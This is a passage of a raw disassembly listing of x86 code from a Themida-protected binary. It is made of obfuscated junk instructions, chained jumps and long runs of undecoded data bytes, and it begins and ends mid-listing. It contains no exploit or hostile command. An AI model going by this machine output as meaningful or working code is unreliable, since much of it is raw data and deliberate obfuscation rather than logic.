jmp loc_58E70D ; --------------------------------------------------------------------------- loc_58A489: ; CODE XREF: Themida_:00589AC7j xor edi, 7CC75550h add edx, edi jmp loc_586558 ; --------------------------------------------------------------------------- dw 0A82Ch dd 0B050515Bh, 0F64704F3h, 53C0FED0h, 3843E9h db 0 aN1Hyy db '1ØhYY',0 ; DATA XREF: Themida_:005843ECo dd 241C8900h, 0EED99068h, 2434FF74h, 0BF2685Bh, 3C890000h dd 52E78924h, 0FFA36AE9h, 59CF89FFh, 0FFA250E9h, 0C8B66FFh dd 2C48124h, 66000000h, 5EB26852h, 4890000h, 0FEA2B024h dd 441DE9C8h, 0C8B0000h, 4C48124h db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_58D606 ; --------------------------------------------------------------------------- loc_58A503: ; CODE XREF: Themida_:00587E03j mov ebp, 3275B48h shr ebp, 6 jmp loc_58B6FC ; --------------------------------------------------------------------------- dd 7BD7BD55h, 0D1E96EA2h, 5BFFFFA9h, 2B2AE9h, 2434FF00h dd 4C4815Bh, 81000000h, 0EE7A36C3h, 8BD90148h, 0C483241Ch dd 0A676E904h, 0DABEFFFFh, 680ABD68h, 0 dd 8B243429h, 0C4832434h, 7C2E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A556: ; CODE XREF: Themida_:0058BA8Dj xchg eax, [esp] mov edx, [esp] add esp, 4 xor [esp], edx jmp loc_588723 ; --------------------------------------------------------------------------- loc_58A56A: ; CODE XREF: Themida_:0058869Bj jmp loc_584473 ; --------------------------------------------------------------------------- aXfqT db '[XfQ±t',0 dw 0E9CEh dd 0FFFFD628h dword_58A57C dd 24048B66h, 0C9D6857h, 24890000h, 3182E924h, 0EF810000h ; DATA XREF: Themida_:00584354o dd 72BD3029h, 41B3C781h, 0D7F701AEh, 6AA6EF81h, 7EE93F9Ch dd 68000042h, 140A5EB6h, 16E18159h, 8123D86Eh, 0F80389E1h dd 0F5F1813Fh, 891D7071h, 574E59CEh, 0FFFFFFBFh, 5FFE01FFh dd 94BE9h db 0 ; --------------------------------------------------------------------------- loc_58A5D1: ; CODE XREF: Themida_:0058EB20j pop edi push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push esi push esp pop esi jmp loc_5871B8 ; --------------------------------------------------------------------------- loc_58A5EE: ; CODE XREF: Themida_:005872E9j push eax mov eax, 83D4174h mov ebx, 74FC2142h add ebx, 20B82844h sub ebx, 10012FBEh add ebx, eax jmp loc_58E89E ; --------------------------------------------------------------------------- loc_58A60C: ; CODE XREF: Themida_:0058D843j push ebp jmp loc_5855BF ; --------------------------------------------------------------------------- dw 0C483h dd 30F53004h, 53F530EEh, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 0E9240489h, 0FFFFE3E4h, 8104C483h, 504DC5EFh, 5FFD8928h dd 2C8BEE01h, 4C48124h, 87000000h, 0E95C2434h, 0FFFF9E1Fh dd 685BD801h, 3769h, 68241489h, 24BEh, 0BE243489h, 6E5B096Bh dd 0FFA6B0E9h, 286EB5FFh, 805966EBh db 0EBh, 65h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_58A05F ; --------------------------------------------------------------------------- db 0B9h, 68h, 6Ah dd 0E1D15451h, 8102E1C1h, 8E2EA5E9h, 1BFFE965h, 2C8B0000h dd 4C48324h, 9B2BA52h, 0B9511E2Ch, 0FFFFFFFFh, 4A59CA29h dd 0F652C281h, 0ED81E1D3h, 405F3901h, 78E9D501h, 1FFFFEAh dd 0EAC15EF2h, 0C0FAE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A6DA: ; CODE XREF: Themida_:0058CD60j dec ebp add ebp, 1 push edx push esi push edi mov edi, 60F53DC4h jmp loc_58F9EE ; --------------------------------------------------------------------------- dw 487h dd 24248B24h, 0FFE5ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_58A6F9: ; CODE XREF: Themida_:00587F2Aj mov [esp], edx push dword ptr [esp+4] jmp loc_5905DA ; --------------------------------------------------------------------------- loc_58A705: ; CODE XREF: Themida_:0058BDABj mov eax, 3E85121Bh sub ecx, eax pop eax and ecx, 62A23D5Eh shl ecx, 5 push esi push edi jmp loc_58F2DC ; --------------------------------------------------------------------------- byte_58A71D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00584214o dd 0E3895324h, 4C381h, 0BF570000h, 1ED517A0h, 8102E7C1h dd 291915C7h, 0C13BE96Dh, 0C14BFFFFh, 7FE904EBh, 58FFFFACh dd 0B4B05051h, 0DCE9B62Ch, 3000042h, 30E93862h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A75B: ; CODE XREF: Themida_:0058B87Fj sub dword ptr [esp+4], 2B395AD7h jmp loc_58C808 ; --------------------------------------------------------------------------- dd 2C8BE931h, 4C48124h, 0E9000000h, 15D4h ; --------------------------------------------------------------------------- loc_58A778: ; CODE XREF: Themida_:0058DE38j xor ebx, 65E36CA6h sub ebx, 7126742Dh jmp loc_5846C0 ; --------------------------------------------------------------------------- loc_58A789: ; CODE XREF: Themida_:0058A067j mov edi, 23B80860h dec edi neg edi and edi, 69E11CF7h jmp loc_5858D4 ; --------------------------------------------------------------------------- dd 0E953FD88h, 0FFFFECB9h, 64BA5250h, 0E90A3E15h, 23FFh dd 4C481h, 0E9500000h, 293Fh, 243C8756h, 3C87D7F7h, 0A0E95E24h dd 81000052h, 472166C3h, 0C708E92Eh, 0EC83FFFFh, 24148904h dd 5C1BE9h, 213DBB00h, 0EBC109ABh, 0B8E5E906h db 2 dup(0FFh) word_58A7EE dw 8B66h ; DATA XREF: Themida_:00584224o dd 81522404h, 4ECh, 0C9F4E900h db 2 dup(0FFh) word_58A7FE dw 1B68h ; DATA XREF: Themida_:005842BCo dd 0E9000071h, 1354h dword_58A808 dd 24048B66h, 0E904EC83h, 3Dh; --------------------------------------------------------------------------- loc_58A814: ; CODE XREF: Themida_:0058E4FDj mov ebx, [esp] add esp, 4 add al, 0A1h push edx mov dh, 0E6h sub esp, 4 mov [esp], ecx jmp loc_58E483 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58EB02 ; --------------------------------------------------------------------------- loc_58A841: ; CODE XREF: Themida_:00590725j shr esi, 4 xor esi, 3C0FE490h add eax, esi jmp loc_588BC4 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4EC81h, 6DE90000h, 8B00004Fh, 0C4812434h, 4, 7AE168h dd 24148900h, 0CE7BD9BAh, 0DDF2814Ch, 14CCE7Bh, 0C6835AD6h dd 4EC8304h, 0FFEFF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A889: ; CODE XREF: Themida_:00586193j push esi mov esi, 33BA47C4h jmp loc_585F4B ; --------------------------------------------------------------------------- dd 6B6EC181h, 0C1015D4Ah, 6B6EE981h, 68585D4Ah, 69DAh dd 55241C89h, 332B2ABDh, 7EBDBB74h, 4CE9DF4Fh db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A8BB: ; CODE XREF: Themida_:00589BBEj xor [esp], edx xor edx, [esp] xor [esp], edx xchg ecx, edx not ecx xchg ecx, edx push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_588404 ; --------------------------------------------------------------------------- dd 3816BF57h, 0EF81740Eh, 396C2819h, 8EFC14Fh, 0F781D7F7h dd 0FFC55DF4h, 1AB4C281h, 0FA0135B1h, 1AB4EA81h, 3C8B35B1h dd 4C48124h, 81000000h, 4C2h, 24148700h, 0FFA636E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A91D: ; CODE XREF: Themida_:005862A1j shr ecx, 4 and ecx, 33AD741Ch or ecx, 2B2C47FDh shl ecx, 8 jmp loc_58CABE ; --------------------------------------------------------------------------- dd 0ED81CD87h, 9C18CB9h, 62E9EF01h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A943: ; CODE XREF: Themida_:005900DCj inc eax xchg eax, ecx or ecx, 427A7324h push esi mov esi, 30F63360h not esi push ebx mov ebx, 1844CD5h and esi, ebx pop ebx and esi, 1FB164FAh jmp loc_585D93 ; --------------------------------------------------------------------------- db 0C1h dd 1C2D02E8h, 572C7262h, 0E09E25BFh, 5FF80145h, 158C531h dd 242C8BE8h, 4C481h, 1B680000h, 89000066h, 0A5BE2434h dd 0E94E326Ah, 0FFFFADFBh ; --------------------------------------------------------------------------- loc_58A998: ; CODE XREF: Themida_:005871BAj mov esi, 0FF04E14h mov eax, esi pop esi shr eax, 6 sub eax, 1 jmp loc_58F7EA ; --------------------------------------------------------------------------- db 33h dd 645C243Ch, 0BCE90288h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A9B7: ; CODE XREF: Themida_:00584F0Cj mov eax, edx pop edx jmp loc_58AB55 ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0DE2h, 3B8A68h, 240C8900h, 4EC81h, 98E90000h dd 81000041h, 0D9449BEAh, 0DA38E97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A9E6: ; CODE XREF: Themida_:0058FBF3j xchg ebp, [esp] mov esp, [esp] sub eax, 4 xor eax, [esp] jmp loc_5899C5 ; --------------------------------------------------------------------------- db 2Dh, 6Bh, 12h dd 0D0012B8Bh, 8B126B05h, 0F5BD552Bh, 290A4334h, 0EDBFE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AA12: ; CODE XREF: Themida_:00587BFEj mov [esp], ebx push eax mov eax, 509835CFh add [esp+4], eax mov eax, [esp] add esp, 4 pop eax push edx push ecx mov ecx, 500B2C73h xor ecx, 0CAA5B39h sub ecx, 6BBE2CCAh sub ecx, 0D7B82B41h mov edx, 5CAA214Eh sub edx, 238020F5h add edx, ecx add edx, 238020F5h pop ecx shr edx, 5 push edi mov edi, 11E54C32h and edi, 291F38ABh jmp loc_586260 ; --------------------------------------------------------------------------- dw 0F281h dd 726696E0h, 0DD7A45BEh, 5AD6290Dh, 18FFEE81h, 0F681628Bh dd 0A4F9120Fh, 815EF301h, 4C3h, 241C3300h, 516DE9h, 4C68100h dd 1D5C4E0h, 10E95EF3h, 5A000009h, 0E5805866h, 66DDF650h dd 0DF44E953h, 0DA31FFFFh, 33241431h, 14312414h, 99B1E924h dd 0E983FFFFh, 240C8704h, 241C895Ch, 782568h, 24248900h dd 4240483h, 81241C8Bh, 4C4h, 97E95100h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AAE7: ; CODE XREF: Themida_:0058DC1Cj or ah, 41h neg ah shl ah, 1 jmp loc_58727B ; --------------------------------------------------------------------------- loc_58AAF3: ; CODE XREF: Themida_:005886B9j xchg ebp, ecx sub ecx, 17105EEh dec ecx push 7727h mov [esp], ebp mov ebp, 11641006h xor ecx, ebp pop ebp jmp loc_58CD11 ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 0FFB609E9h, 8BB652FFh, 0E907E680h, 0FFFFC3FCh, 0E9240C8Bh dd 0FFFFBD87h, 3BE95053h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58AB33: ; CODE XREF: Themida_:0058BC63j add ecx, 775E56DFh add ecx, ebx sub ecx, 775E56DFh mov ebx, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_58698F ; --------------------------------------------------------------------------- loc_58AB55: ; CODE XREF: Themida_:0058A9BAj sub edi, eax pop eax mov eax, edi jmp loc_58A238 ; --------------------------------------------------------------------------- db 1 dd 81042444h, 4004246Ch, 58498A45h, 0FFB120E9h, 421F68FFh dd 2C890000h, 5DDB6824h, 4890000h, 121EB824h, 0BBBD5A48h dd 313F201Eh, 0E80158C5h, 0E9242C8Bh, 0FFFFE42Eh, 4245401h dd 2586E9h, 5EF78900h, 1AA2CF81h, 0EFD15D10h, 464ACF81h dd 0EFC17FA7h, 0C18E908h, 0E3C10000h, 1DE38108h, 81730238h dd 0EB4BAAEBh, 0B2C5E97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58ABCE: ; CODE XREF: Themida_:0058B134j neg bl xchg dl, bl jmp loc_58B3E1 ; --------------------------------------------------------------------------- db 0FFh dd 815A2434h, 4C4h, 4C48100h, 0E9000000h, 0FFFF9887h ; --------------------------------------------------------------------------- loc_58ABEC: ; CODE XREF: Themida_:0058EAE2j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx jmp loc_584D03 ; --------------------------------------------------------------------------- dw 0F580h dd 0D2F58098h, 80A5C580h, 0E5D052EDh, 0F605E5C0h, 16C580D5h dd 0E5C0DDF6h, 58CD8007h, 80D6ED80h, 0E80037C5h, 0D8285959h dd 1E9368h, 241C8900h, 0D7F671B7h, 4EC81h, 14890000h, 800FB624h dd 0F7085BF6h, 0B2EF805Ah, 66A9C780h, 0E9000068h, 0CBFh ; --------------------------------------------------------------------------- loc_58AC58: ; CODE XREF: Themida_:00584782j push edi mov edi, 4 add ebx, 66365A45h add ebx, edi sub ebx, 66365A45h mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_58EEE8 ; --------------------------------------------------------------------------- aIS1 db 'ˆÙé1',0Bh,0 dw 5D00h dd 685FFA21h, 36E2h, 0BE243489h, 164B6834h, 0FFFA32E9h dd 405FFh, 4050000h, 87000000h, 0F5C2404h, 48DC0B6h, 1C39E987h dd 0BE560000h, 2, 335EF701h, 0A1E9243Ch, 5900000Fh, 0FFACC1E9h db 0FFh ; --------------------------------------------------------------------------- loc_58ACCD: ; CODE XREF: Themida_:00590008j pop edx push 3D0h mov [esp], ebx jmp loc_58FB7E ; --------------------------------------------------------------------------- aTa@ db 'Ðâ€Â@',0 db 0D3h, 0E9h, 0E0h db 0A7h, 2 dup(0FFh) byte_58ACE7 db 0FFh ; DATA XREF: Themida_:0058432Co a4S db '4$é/<',0 dw 0FE00h dd 56C780CFh, 0E95BFE88h, 0FFFFEE28h, 5B002Ch, 0FF3E2CE8h dd 94E92434h, 8B000004h, 0B1682424h, 0E900007Dh, 5560h dd 706AF681h, 0C6814B79h, 17F07B65h, 19F2E9h, 4C58100h dd 0E9000000h, 0FFFFC934h, 4BFh, 5FFB0100h, 4EC81h, 14890000h dd 4CB85024h, 0D60C704h, 12620BEFh, 0E70FED2Dh, 58C28972h dd 535AD301h, 42474FFh, 5B2434FFh, 2C63E9h, 9CC8000h, 0EC80C4FEh dd 86F4806Ah, 3058E688h, 148B66F0h, 4EC8324h, 0FFC2D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_58AD85: ; CODE XREF: Themida_:0058DCB7j pop esp jmp loc_585A16 ; --------------------------------------------------------------------------- db 5Ah dd 0FFDD2AE9h db 0FFh byte_58AD91 db 8Fh, 2, 0E9h ; DATA XREF: Themida_:005841D4o dd 0FFFF96DBh ; --------------------------------------------------------------------------- loc_58AD98: ; CODE XREF: Themida_:0058E252j sub esi, 0C0113FFh sub eax, esi pop esi xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 74C556FBh push eax mov eax, 74C556FBh sub ebx, eax mov eax, [esp] add esp, 4 mov [edi+24h], ebx pop ebx xor edx, edx push ecx push esp pop ecx jmp loc_584B29 ; --------------------------------------------------------------------------- aI4TQsvi db '‰4$T^QéVI',0 dw 8100h dd 524C78F6h, 8CC68127h, 8981D0A7h, 56535EF2h, 394CBEBEh dd 0A600E97Eh, 0F741FFFFh, 64C181D1h, 0E9DC8F98h, 0FFFFDF72h dd 83240C89h, 19E904ECh, 81000048h, 7A9049C5h, 87BB53BAh dd 52239406h, 7A7EFEBAh, 5AD3296Eh, 0AF4EF381h, 0DA019E1Bh dd 81241C8Bh, 4C4h, 57EA0100h, 58601CBFh, 0A6E94F13h, 68FFFFF3h dd 6CFEh, 89243489h, 0BE0DE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AE4E: ; CODE XREF: Themida_:0058B0F2j mov ecx, 0C317F887h add ecx, 1DE6579Eh add ecx, ebx jmp loc_58E4A1 ; --------------------------------------------------------------------------- dd 2414875Fh, 0FFA2CAE9h, 51EA81FFh, 814A231Fh, 8D0A64EAh dd 0E9585D14h, 2A7Eh, 0EB1E943h, 0C4830000h, 0C766804h dd 3CE90000h, 68FFFFDBh, 3802h, 38FFE9h, 0D8E95300h, 2D000040h dd 5ADD58A9h, 8124148Bh, 4C4h, 50E95700h, 8BFFFF9Bh, 9EE92414h dd 87000016h, 0E95C2404h, 0FFFF95AFh, 49EEF181h, 92E91F20h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58AECF: ; CODE XREF: Themida_:0058CB2Ej add ebp, 0B877E0ACh add esi, ebp pop ebp mov ebp, esi pop esi shl ebp, 2 push eax mov eax, 7ED3DCFh not eax add eax, 7B3B5FD9h shl eax, 7 add eax, 0AD348C8h xor eax, 8BAA3761h sub ebp, eax jmp loc_58BB7E ; --------------------------------------------------------------------------- db 83h dd 0C18104C4h, 0A0B65DC5h, 8359C831h, 148904ECh, 0AE25BA24h dd 0E9515191h, 0FFFFF775h, 4972C681h, 95E92041h, 5EFFFFF8h dd 31241C33h, 1C33241Ch, 0F7665C24h, 106866E1h, 14896607h dd 9C506624h, 0FF952EE9h, 243489FFh, 0AE9E689h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58AF4F: ; CODE XREF: Themida_:0058B183j pop ebp jmp loc_5857F1 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F7000000h, 0D1F581D5h, 4513CA09h, 0C5C8F581h, 0E989A509h dd 0F2B9515Dh, 0E964FD0Ch, 0FFFF9A11h, 5504C483h, 0FFCEF9E9h dd 3B665CFFh, 0E8E99CC8h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AF8B: ; CODE XREF: Themida_:00588F5Cj pop esi jmp loc_58DAE3 ; --------------------------------------------------------------------------- loc_58AF91: ; CODE XREF: Themida_:0058CD1Fj add ebp, edx jmp loc_586AD0 ; --------------------------------------------------------------------------- dd 68F7015Bh, 676Fh, 0BB241C89h, 748B05C6h, 5E5BDF01h dd 2C781h, 3C870000h, 0AA19E924h, 1CF7FFFFh, 0FF2D5824h dd 40FFFFFFh, 81FD0805h, 2BBD55BCh, 4D71ED51h, 0DDF7D5F7h dd 0FFAF02E9h, 3B8D2DFFh, 0BFE975F8h, 0F7000049h, 3DF281DAh dd 81045D00h, 5AA59EEAh, 3F3CE910h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58AFF6: ; CODE XREF: Themida_:0058C9D0j mov edx, ecx pop ecx not edx inc edx not edx neg edx xor edx, 29220014h jmp loc_58FC6A ; --------------------------------------------------------------------------- db 51h dd 22059B9h, 59CB2932h, 0FF985CE9h, 0CBA035FFh, 0EE81997Ah dd 5D20528Ch, 0C681C601h, 5D20528Ch, 10BD6858h, 34890000h dd 2434FF24h, 81243C8Bh, 4ECh, 241C8900h, 0B93E954h, 0D2F70000h dd 44F9C281h, 81420211h, 0AC368AF2h, 5AD6896Ch, 47F2E9h dd 14806800h, 3C890000h, 81E78924h, 4C7h, 4C78100h, 33000000h dd 3C31243Ch, 243C3324h, 3ABCE9h, 240C8900h, 2B9h, 59CE0100h dd 31243433h, 34332434h, 0D3665C24h, 0E99C242Ch, 0FFFF93CFh dd 2059C381h, 89E93202h, 6600003Bh, 66C8B60Fh, 0DE99C51h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B0BB: ; CODE XREF: Themida_:00589FE3j xor bl, dl add bl, 0F5h neg bl jmp loc_58E4C8 ; --------------------------------------------------------------------------- loc_58B0C7: ; CODE XREF: Themida_:00589458j push 52D14C7Ch pop ecx or ecx, 438D34A3h or ecx, 6C0E64FEh sub ecx, 24E62058h push ecx jmp loc_588EAD ; --------------------------------------------------------------------------- loc_58B0E5: ; CODE XREF: Themida_:00586FFBj push 1B78h mov [esp], ebx mov ebx, 3CE80778h jmp loc_58AE4E ; --------------------------------------------------------------------------- db 66h dd 665A5768h, 8124148Bh, 2C4h, 89665000h, 665066D0h, 0D240481h dd 0C3BDE931h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B116: ; CODE XREF: Themida_:005873E0j push 21DEh jmp loc_585221 ; --------------------------------------------------------------------------- dd 6D5A0F2Dh, 57BE563Ah, 0F70FAD47h, 0B4F7E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B132: ; CODE XREF: Themida_:00590273j dec bl jmp loc_58ABCE ; --------------------------------------------------------------------------- db 8Ah, 3Ch, 24h dd 5102C483h, 0ED8078B5h, 0FDED80CBh, 0FFB7E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_58B14D: ; CODE XREF: Themida_:0058C825j mov eax, 4 jmp loc_58C39B ; --------------------------------------------------------------------------- db 87h dd 5BE9243Ch, 89000013h, 4C181E1h, 83000000h, 0FF5104C1h dd 8B042474h, 0C483240Ch, 24048F04h, 1084E9h db 0 ; --------------------------------------------------------------------------- loc_58B17D: ; CODE XREF: Themida_:0058B467j add ecx, 796545DBh jmp loc_58AF4F ; --------------------------------------------------------------------------- dd 69E9BE56h, 0EE8174A3h, 669D4A68h, 40B9C681h, 0EFE90F5Bh dd 59000022h, 0FFC10DE9h db 0FFh ; --------------------------------------------------------------------------- loc_58B1A5: ; CODE XREF: Themida_:0058CCC6j push ebx jmp loc_585173 ; --------------------------------------------------------------------------- db 52h dd 9FCE9h, 81CB0100h, 0BE6FDEC3h, 5AEE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B1BE: ; CODE XREF: Themida_:005901BBj not esi dec esi jmp loc_586B0A ; --------------------------------------------------------------------------- loc_58B1C6: ; CODE XREF: Themida_:005856C6j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov ax, [esp] push 618Fh mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 push ecx mov ecx, esp jmp loc_586953 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 0F5860000h, 0E9242C30h, 4420h, 0EF86C586h, 6E9F988h dd 51FFFFCFh, 61A368h, 0F051E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B232: ; CODE XREF: Themida_:00585F05j sub edx, ecx pop ecx jmp loc_58FED3 ; --------------------------------------------------------------------------- dw 0C781h dd 443214DBh, 437CE9h, 47A6B900h, 81494086h, 0A2E4D3E9h dd 0E9CA31C3h, 3C26h, 0C381E389h, 4, 17FA68h, 240C8900h dd 4B9h, 0E0C38100h, 14F933Ah, 9C3BE9CBh, 0E9C1FFFFh, 12C18108h dd 0E97E739Dh, 0FFFFDD9Fh, 0B7241C89h, 0E991B6EFh, 256Ah dd 3004C483h, 7DF568C3h, 0DFE90000h, 5B000000h, 4C481h dd 0E9520000h, 0FFFFE84Ch ; --------------------------------------------------------------------------- loc_58B2B0: ; CODE XREF: Themida_:0058C8C6j dec esi neg esi sub esi, 0DB0A273Ch jmp loc_58A479 ; --------------------------------------------------------------------------- dw 1489h aItsA db '$‰âéÂA',0 align 4 dd 0FF91A6E9h, 240C8BFFh, 5025E9h, 5DE90900h, 4B9DE981h dd 0CA893D5Fh, 9EC38159h, 136554Ah, 9EEB81D3h, 0E936554Ah dd 4216h ; --------------------------------------------------------------------------- loc_58B2F4: ; CODE XREF: Themida_:0058BADAj mov edx, 2 sub esp, 4 mov [esp], ecx push ebp mov ebp, 6DB30435h jmp loc_58F6F9 ; --------------------------------------------------------------------------- dw 0DB68h dd 5D58796Ah, 0F4C8ED81h, 0E889F0D1h, 81242C8Bh, 4C4h dd 0B760500h, 0D8F72F49h, 502E8C1h, 9087AA2h, 5A5BBA52h dd 0E2811BB9h, 314A2063h, 77FEE281h, 0BB535176h, 4ADB5C16h dd 0BF2E381h, 0E3C115EEh, 4EBC108h, 0C729EB81h, 0DA31C70Dh dd 53BF2D5Bh, 0D0012587h, 8753BF05h, 5E95A25h, 8BFFFFD1h dd 0C4832414h, 0F906E904h, 148BFFFFh, 0A760E924h, 1C89FFFFh dd 7FFC6824h, 3C890000h, 2C11E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B392: ; CODE XREF: Themida_:0059009Ej mov [esp], ecx push 43460CE1h jmp loc_58FFF7 ; --------------------------------------------------------------------------- db 50h dd 0F43BE953h, 0F189FFFFh, 8BCE015Eh, 4E9240Ch, 81FFFFB2h dd 4EBh, 241C8700h, 390FE95Ch, 0EE810000h, 65E01A45h, 2FAFC681h dd 0EE815120h, 0CCF05F0h, 0FFA3C4E9h, 24348BFFh, 0FFBC03E9h db 0FFh ; --------------------------------------------------------------------------- loc_58B3E1: ; CODE XREF: Themida_:0058ABD2j dec dl xor bl, dl jmp loc_589FE1 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 0FE000000h, 7E6C0C6h, 0FFDCA8E9h db 0FFh ; --------------------------------------------------------------------------- loc_58B3FD: ; CODE XREF: Themida_:00584C80j push 1F9Eh mov [esp], ecx push 1A6Ah mov [esp], ebp mov ebp, 5FF5C3Ah push 0FA00A3C5h jmp loc_58BB53 ; --------------------------------------------------------------------------- loc_58B41C: ; CODE XREF: Themida_:00585BEEj mov [esp], edx push edi mov edi, 7E3737F0h push esi mov esi, 248571DEh jmp loc_58D075 ; --------------------------------------------------------------------------- loc_58B430: ; CODE XREF: Themida_:00586D96j add esp, 4 push ebx mov ebx, 3A134959h push eax jmp loc_5898AB ; --------------------------------------------------------------------------- db 68h dd 712Bh, 89240489h, 4BB53E0h, 1000000h, 9DC3E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B456: ; CODE XREF: Themida_:0058B65Cj xor ebx, 0D7BF42BEh add ebp, ebx pop ebx sub ecx, 796545DBh add ecx, ebp jmp loc_58B17D ; --------------------------------------------------------------------------- dd 0B12CC6B9h, 59CD0135h, 242C875Ah, 36D3E9h db 0 ; --------------------------------------------------------------------------- loc_58B47D: ; CODE XREF: Themida_:005875F9j add eax, edi sub eax, 5D88593Ch push ecx mov cl, bh mov [eax], cl jmp loc_58E9D7 ; --------------------------------------------------------------------------- dw 9CB9h dd 18CA895h, 0DDE959CDh, 0C100002Fh, 0E7C108EFh, 0D0DE903h dd 0FB010000h, 0FFDA015Fh, 815B2434h, 4C4h, 4EC8300h, 0FF241489h dd 8B042474h, 0C4812414h, 4, 5C24048Fh, 0FFB18EE9h db 0FFh byte_58B4D1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00584190o dd 0FF2434FFh, 52582434h, 0FF98DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_58B4E1: ; CODE XREF: Themida_:0058D563j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 0DFE1023h xor edx, 0DFE1027h add eax, 111372F9h add eax, edx sub eax, 111372F9h jmp loc_58FBBD ; --------------------------------------------------------------------------- db 68h, 1Fh, 67h dd 2C890000h, 53E58924h, 63E56BBh, 2768E920h, 6FBA0000h dd 81069D05h, 3F6D0BC2h, 0A3C2814Bh, 81167C3Bh, 0DC3DD0F2h dd 0D288E97Bh, 815EFFFFh, 2C141FF6h, 0E9F18911h, 485h dd 0A46BF181h, 5350FF01h, 9A2E09BBh, 43D3F733h, 2B31CB81h dd 0F38108B5h, 0CCF5FBCFh, 89DD8955h, 15B5DE8h, 348151D0h dd 35039C24h, 0D5FDE909h, 0C483FFFFh, 0D6E95504h, 81FFFFA7h dd 4ECh, 240C8900h, 5D01B968h, 5AE95950h, 8B000006h, 14892424h dd 0E99C5024h, 3012h, 4EC815Ch, 0E9000000h, 0FFFFC85Dh dd 0E6D0CE86h, 0C91B050h, 3E0C03Ah, 0E0E90634h, 0BFFFFFAAh dd 4, 0FFAB58E9h, 3DD8BBFFh, 0D3F74165h, 0A44DC381h, 0EE8162B4h dd 46CD7BF6h, 0FFAC0EE9h db 0FFh byte_58B5ED db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005843B4o dd 4EC8124h, 89000000h, 0E2892414h, 4C281h, 0EA810000h dd 4, 0E9241487h, 3260h, 65A8BD55h, 21E97239h, 5CFFFF8Fh dd 4E0D6855h, 24890000h, 24048324h, 0C5815D04h, 4, 3E60B850h dd 0D0F75F1Ch, 0E05E4635h, 3A27352Bh, 0FA2D2A51h, 1A152A5h dd 2C8758C5h, 24248B24h, 9C240401h, 0FFE9BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_58B659: ; CODE XREF: Themida_:0058905Aj sub ebx, ecx pop ecx jmp loc_58B456 ; --------------------------------------------------------------------------- db 1, 0EAh, 5Dh dd 0EA81C201h, 85D6F14h, 500768h, 240C8900h, 27164B9h dd 264CE92Dh db 2 dup(0) word_58B67E dw 8B66h ; DATA XREF: Themida_:00584424o dd 5457240Ch, 50243C8Bh, 0BF57E089h, 4, 55FF801h, 4, 0BF0EE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B69E: ; CODE XREF: Themida_:00584B0Aj xor ecx, [esp] mov esp, [esp] push 58E7h mov [esp], ebp push esi mov esi, 39800E26h sub esi, 397F8E26h jmp loc_585ADB ; --------------------------------------------------------------------------- db 30h, 0C8h, 0E9h dd 0FFFFE523h, 0ED4844B9h, 9B35E96Bh, 59FFFFh, 241C8BD8h dd 1D69E9h db 0 aM0Hzq db '¬0Øh‡q',0 ; DATA XREF: Themida_:00584284o dd 24148900h, 5C4E9h, 24248B00h, 0E99CC884h, 0FFFF8D7Fh dd 0E9243487h, 0A0Eh ; --------------------------------------------------------------------------- loc_58B6FC: ; 